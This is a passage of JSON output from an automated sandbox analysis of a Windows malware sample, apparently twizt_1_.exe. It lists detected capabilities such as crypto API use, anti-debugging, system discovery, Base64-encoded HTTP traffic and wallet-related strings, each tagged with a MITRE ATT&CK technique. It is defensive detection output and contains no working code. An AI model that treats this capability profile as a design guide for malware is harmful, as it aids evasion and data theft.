\"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found api reference \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found api reference \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")\n Found api reference \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")\n Found api reference \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$26","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains key cryptographic functions (API string)\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Found Crypto currency wallets related strings\n Matched sigs: Uses Windows cryptography API for obfuscation\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$27","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameA\" (Source: \"00000000-00005492.00000000.168642.3258F000.00000002.mdmp\")\n Found string \"GetLogicalDrives\" (Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\"\n Found system information discovery API: \"GetSystemInfo\" in file \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00003504.00000000.168397.00932000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"file/memory contains long string with (Indicator: \"sendmessage\"; File: \"twizt_1_.exe\")\n Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00003504.00000000.168397.035F0000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00004684.00000000.168596.033A0000.00000004.mdmp\")\n Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; Source: \"00000000-00007524.00000000.168538.00410000.00000002.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00007524.00000000.168538.02D30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"